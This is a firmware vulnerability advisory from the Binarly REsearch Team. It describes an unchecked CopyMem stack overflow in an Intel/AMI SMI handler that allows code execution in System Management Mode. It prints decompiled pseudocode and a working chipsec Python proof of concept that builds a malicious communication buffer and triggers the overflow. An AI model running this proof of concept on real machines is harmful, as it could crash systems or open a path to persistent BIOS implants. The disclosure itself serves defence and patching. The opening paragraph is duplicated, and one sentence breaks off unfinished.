An attacker can exploit this vulnerability to elevate privileges from ring 0 to ring -2, execute arbitrary code in System Management Mode - an environment more privileged than operating system (OS) and completely isolated from it. Running arbitrary code in SMM additionally bypasses SMM-based SPI flash protections against modifications, which can help an attacker to install a firmware backdoor/implant into BIOS. Such a malicious firmware code in BIOS could persist across operating system re-installs. Additionally, this vulnerability potentially could be used by malicious actors to bypass security mechanisms provided by UEFI firmware (for example, Secure Boot and some types of memory isolation for hypervisors).
Binarly REsearch Team has discovered stack overflow vulnerability in SMI handler on Intel platforms allowing a possible attacker to execute arbitrary code in SMM.
An attacker can exploit this vulnerability to elevate privileges from ring 0 to ring -2, execute arbitrary code in System Management Mode - an evironment more privileged than operating system (OS) and completely isolated from it. Running arbitrary code in SMM additionally bypasses SMM-based SPI flash protections against modifications, which can help an attacker to install a firmware backdoor/implant into BIOS. Such a malicious firmware code in BIOS could persist across operating system re-installs. Additionally, this vulnerability potentially could be used by malicious actors to bypass security mechanisms provided by UEFI firmware (for example, Secure Boot and some types of memory isolation for hypervisors).
The vulnerability exists in child SW SMI handler registered with GUID 9c72f7fb-86b6-406f-b86e-f3809a86c138
and located at offset 0x1768
in the binary.The pseudocode for this handler is shown below:
EFI_STATUS __fastcall ChildSwSmiHandler(
EFI_HANDLE DispatchHandle,
const void *Context,
_QWORD *CommBuffer,
UINTN *CommBufferSize)
{
// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
if ( !gAmiSmmBufferValidationProtocol
|| (gAmiSmmBufferValidationProtocol->ValidateMemoryBuffer)(
CommBuffer,
48,
CommBuffer,
CommBufferSize) < 0 )
{
return 0;
}
switch ( *CommBuffer )
{
case 1:
v13 = CommBuffer[1];
if ( v13
&& (!gAmiSmmBufferValidationProtocol
|| (gAmiSmmBufferValidationProtocol->ValidateMemoryBuffer)(v13, 4095) < 0) )
{
return 0;
}
v14 = CommBuffer[4];
if ( v14 )
{
if ( !gAmiSmmBufferValidationProtocol
|| (gAmiSmmBufferValidationProtocol->ValidateMemoryBuffer)(v14, 8) < 0 )
{
return 0;
}
}
LOBYTE(CommBuffer14b) = *((_BYTE *)CommBuffer + 20);
Status = gSmbiosElog->ApiFunc1(
gSmbiosElog,
CommBuffer[1],
*((unsigned int *)CommBuffer + 4),
CommBuffer14b,
CommBuffer[3],
CommBuffer[4]);
_SetStatusAndReturn:
CommBuffer[5] = Status;
return 0;
case 2:
Arg1 = CommBuffer[1];
if ( Arg1
&& (!gAmiSmmBufferValidationProtocol
|| (gAmiSmmBufferValidationProtocol->ValidateMemoryBuffer)(Arg1, 4095) < 0) )
{
return 0;
}
Arg3_MaxSize = CommBuffer[3];
if ( Arg3_MaxSize )
{
if ( !gAmiSmmBufferValidationProtocol
|| (gAmiSmmBufferValidationProtocol->ValidateMemoryBuffer)(Arg3_MaxSize, 8) < 0 )
{
return 0;
}
}
Arg4 = CommBuffer[4];
if ( Arg4 )
{
if ( !gAmiSmmBufferValidationProtocol
|| (gAmiSmmBufferValidationProtocol->ValidateMemoryBuffer)(Arg4, 8) < 0 )
{
return 0;
}
}
Status = gSmbiosElog->ApiFunc2(
gSmbiosElog,
CommBuffer[1],
*((unsigned int *)CommBuffer + 4),
CommBuffer[3],
CommBuffer[4]);
goto _SetStatusAndReturn;
case 3:
Arg2_1 = CommBuffer[2];
if ( !Arg2_1
|| gAmiSmmBufferValidationProtocol
&& (gAmiSmmBufferValidationProtocol->ValidateMemoryBuffer)(Arg2_1, 8) >= 0 )
{
CommBuffer[3] = gSmbiosElog->ApiFunc3(gSmbiosElog, *((unsigned int *)CommBuffer + 2), CommBuffer[2]);
}
break;
case 4:
Arg2 = CommBuffer[2];
if ( !Arg2
|| gAmiSmmBufferValidationProtocol
&& (gAmiSmmBufferValidationProtocol->ValidateMemoryBuffer)(Arg2, 1) >= 0 )
{
Arg3 = CommBuffer[3];
if ( !Arg3
|| gAmiSmmBufferValidationProtocol
&& (gAmiSmmBufferValidationProtocol->ValidateMemoryBuffer)(Arg3, 1) >= 0 )
{
CommBuffer[4] = gSmbiosElog->ApiFunc4(
gSmbiosElog,
*((unsigned int *)CommBuffer + 2),
CommBuffer[2],
CommBuffer[3]);
}
}
break;
}
return 0;
}
The CommBuffer is assumed to have the following structure:
Command
(8 bytes)Arg1
(X bytes)Arg2
(X bytes)...
ArgN
(X bytes)Status
(8 bytes)Depending on the Command
value, one of the 4 functions can be executed:
gSmbiosElog->ApiFunc1
gSmbiosElog->ApiFunc2
gSmbiosElog->ApiFunc3
gSmbiosElog->ApiFunc4
Consider gSmbiosElog->ApiFunc1
(located at offset 0x1768
in the binary). The pseudocode for this function is shown below:
MACRO_EFI __fastcall FuncCase1(__int64 SmbiosElog, __int16 *Arg1, __int64 Arg2, __int64 Arg3, UINTN Arg4, _QWORD *Arg5)
{
...
unsigned __int8 DestinationBuffer[127];
if ( Arg2 )
return EFI_NOT_FOUND;
if ( !gFlag )
return EFI_UNSUPPORTED;
if ( !Arg1 )
return EFI_INVALID_PARAMETER;
Arg5_1 = Arg5;
if ( !Arg5 )
return EFI_INVALID_PARAMETER;
p_ValueFromArg1_1 = &ValueFromArg1_1;
SetTimeInfo(&ValueFromArg1, Arg1, Arg2);
Case = 0xFF;
if ( *Arg1 == 0xE2 )
{
Value = *(Arg1 + 1); // should be set to 0x81 (as an example)
// Value >= 0x80 and not in gCases, gCases1
p_ValueFromArg1_1 = Arg1;
}
else...
ValueFromArg1 = Value;
if ( Value > 23 || (v13 = 0xFF7FFE, !_bittest(&v13, Value)) )
{
if ( Value < 0x80 )
return EFI_UNSUPPORTED;
}
v14 = 0;
while ( gCases[2 * v14] != Value )
{
if ( ++v14 >= 25 )
goto _LeaveCaseFF;
}
Case = gCases1[2 * v14];
_LeaveCaseFF:
ZeroMem(DestinationBuffer, 127);
v16 = 8;
switch...
v30 = v16;
switch...
v16 = Arg4 + 8;
v30 = Arg4 + 8;
if ( Arg4 && DestinationBuffer != (Arg1 + 4) )
{
// will overwrite the return address if Arg4 >= 0x130
CopyMem(DestinationBuffer, Arg1 + 4, Arg4);
v16 = v30;
}
...
return EFI_OUT_OF_RESOURCES;
}
All arguments (Arg1
, Arg2
, Arg3
, Arg4
, Arg5
) are controlled by the attacker.Arg4
is not checked, so calling CopyMem(DestinationBuffer, Arg1 + 4, Arg4)
may cause a stack overflow.
A potential attacker could сompletely overwrite the return address via an overflow on the stack if Arg4 >= 0x130
.
Below is the minimum PoC leading to DOS:
import os
import struct
import sys
sys.path.append(os.path.join(os.path.dirname(__file__), ".."))
import ctypes
import chipsec
import chipsec.chipset
import hexdump
from chipsec.hal.interrupts import Interrupts
from chipsec.hal.uefi import UEFI
cs = chipsec.chipset.cs()
cs.init(None, True, True)
intr = Interrupts(cs)
uefi = UEFI(cs)
rtcode_start = 0x000000005A73B000 # from memmap
rtcode_end = 0x000000005A7FEFFF
AMI_SMM_DUMMY_PROTOCOL_REDIR_GUID = "9c72f7fb-86b6-406f-b86e-f3809a86c138"
class CommBufferStructureCase4(ctypes.LittleEndianStructure):
_pack_ = 1
_fields_ = [
("Command", ctypes.c_uint64),
("Arg1", ctypes.c_uint64),
("Arg2", ctypes.c_uint64),
("Arg3", ctypes.c_uint64),
("StatusCode", ctypes.c_uint64),
]
class CommBufferStructureCase1(ctypes.LittleEndianStructure):
_pack_ = 1
_fields_ = [
("Command", ctypes.c_uint64), # 0x00
("Arg1", ctypes.c_uint64), # 0x08
("Arg2", ctypes.c_uint32), # 0x10
("Arg3", ctypes.c_uint8), # 0x14
("Undefined", ctypes.c_uint8 * 3),
("Arg4", ctypes.c_uint64), # 0x18
("Arg5", ctypes.c_uint64), # 0x20
("StatusCode", ctypes.c_uint64), # 0x28
]
def locate_smmc(rtcode_start, rtcode_end):
# locate SMM_CORE_PRIVATE_DATA
data = cs.helper.read_physical_mem(rtcode_start, rtcode_end - rtcode_start + 1)
smmc_offset = data.find(b"smmc")
smmc_loc = rtcode_start + smmc_offset
return smmc_loc
smmc_loc = locate_smmc(rtcode_start, rtcode_end)
def set_flag_api4():
# setup for communication buffer
payload_loc = 0x53000000
buffer_loc = payload_loc + 24 # CommBuffer address
arg2_addr = payload_loc + 64
arg3_addr = payload_loc + 65
cs.helper.write_physical_mem(arg2_addr, 8, struct.pack("<Q", 1))
buffer = CommBufferStructureCase4()
buffer.Command = 4
buffer.Arg1 = 0 # if ( Arg1 ) return EFI_NOT_FOUND
buffer.Arg2 = arg2_addr # FlagValue = *Arg2 == 1
buffer.Arg3 = arg3_addr # *Arg3 = FlagValue
buffer.StatusCode = -1
buffer_size = len(bytes(buffer))
print(f"Buffer before:")
hexdump.hexdump(bytes(buffer))
# trigger handler
ReturnStatus = intr.send_smmc_SMI(
smmc_loc, AMI_SMM_DUMMY_PROTOCOL_REDIR_GUID, bytes(buffer), payload_loc
)
status = chipsec.hal.uefi_common.EFI_ERROR_STR(ReturnStatus)
print(f"Handler return status: {status}")
data = cs.helper.read_physical_mem(buffer_loc, buffer_size)
print(f"Buffer after:")
hexdump.hexdump(data)
api_status_value = cs.helper.read_physical_mem(buffer_loc + 0x20, 8)
api_status = struct.unpack("<Q", api_status_value)[0]
status = chipsec.hal.uefi_common.EFI_ERROR_STR(api_status)
print(f"API return status: {status}")
flag_value = cs.helper.read_physical_mem(arg3_addr, 1)
flag = struct.unpack("<B", flag_value)[0]
print(f"Flag value: {flag}")
def vuln_api1():
# setup for communication buffer
payload_loc = 0x53000000
buffer_loc = payload_loc + 24 # CommBuffer address
arg5_addr = payload_loc + 120
arg1_addr = payload_loc + 128
cs.helper.write_physical_mem(
arg1_addr, 1, struct.pack("<B", 0xE2)
) # if ( *Arg1 == 0xE2 )
cs.helper.write_physical_mem(
arg1_addr + 1, 1, struct.pack("<B", 0x81)
) # Value = *(Arg1 + 1)
buffer = CommBufferStructureCase1()
buffer.Command = 1
buffer.Arg1 = arg1_addr
buffer.Arg2 = 0 # if ( Arg2 ) return EFI_NOT_FOUND
buffer.Arg3 = 0 # any value
buffer.Arg4 = 1337 # CopyMem size param
buffer.Arg5 = arg5_addr
buffer.StatusCode = -1
buffer_size = len(bytes(buffer))
print(f"Buffer before:")
hexdump.hexdump(bytes(buffer))
# trigger handler
ReturnStatus = intr.send_smmc_SMI(
smmc_loc, AMI_SMM_DUMMY_PROTOCOL_REDIR_GUID, bytes(buffer), payload_loc
)
status = chipsec.hal.uefi_common.EFI_ERROR_STR(ReturnStatus)
print(f"Handler return status: {status}")
data = cs.helper.read_physical_mem(buffer_loc, buffer_size)
print(f"Buffer after:")
hexdump.hexdump(data)
api_status_value = cs.helper.read_physical_mem(buffer_loc + 0x28, 8)
api_status = struct.unpack("<Q", api_status_value)[0]
status = chipsec.hal.uefi_common.EFI_ERROR_STR(api_status)
print(f"API return status: {status}")
if __name__ == "__main__":
set_flag_api4() # set gFlag
vuln_api1()
In order to fix this vulnerability, the check for Arg4
must be added before calling the CopyMem
function.
It should be noted that vulnerable function (FuncCase1
) is present in the firmware in two instances:
This bug is subject to a 90 day disclosure deadline. After 90 days elapsed or a patch has been made broadly available (whichever is earlier), the bug report will become visible to the public.
Binarly REsearch Team